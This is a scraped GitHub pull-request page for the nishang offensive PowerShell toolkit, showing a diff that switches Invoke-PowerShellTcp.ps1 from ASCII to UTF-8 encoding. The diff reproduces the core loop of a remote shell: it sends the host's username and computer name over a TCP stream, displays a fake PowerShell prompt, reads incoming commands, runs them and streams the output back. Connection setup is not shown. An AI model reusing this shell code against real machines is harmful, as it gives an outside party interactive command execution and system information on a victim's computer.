10BC0 Update Invoke-PowerShellTcp.ps1 by anhilo · Pull Request #68 · samratashok/nishang · GitHub
[go: up one dir, main page]

Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Update Invoke-PowerShellTcp.ps1
change to utf-8
  • Loading branch information
anhilo authored Apr 16, 2019
commit 66c7c91e5c03270f9203a24b21433d7818e64b73
8 changes: 4 additions & 4 deletions Shells/Invoke-PowerShellTcp.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -81,16 +81,16 @@ https://github.com/samratashok/nishang
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$sendbytes = ([text.encoding]::GetEncoding('UTF-8')).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$sendbytes = ([text.encoding]::GetEncoding('UTF-8')).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$EncodedText = New-Object -TypeName System.Text.UTF8Encoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
Expand All @@ -108,7 +108,7 @@ https://github.com/samratashok/nishang
$sendback2 = $sendback2 + $x

#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$sendbyte = ([text.encoding]::GetEncoding('UTF-8')).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
Expand Down
0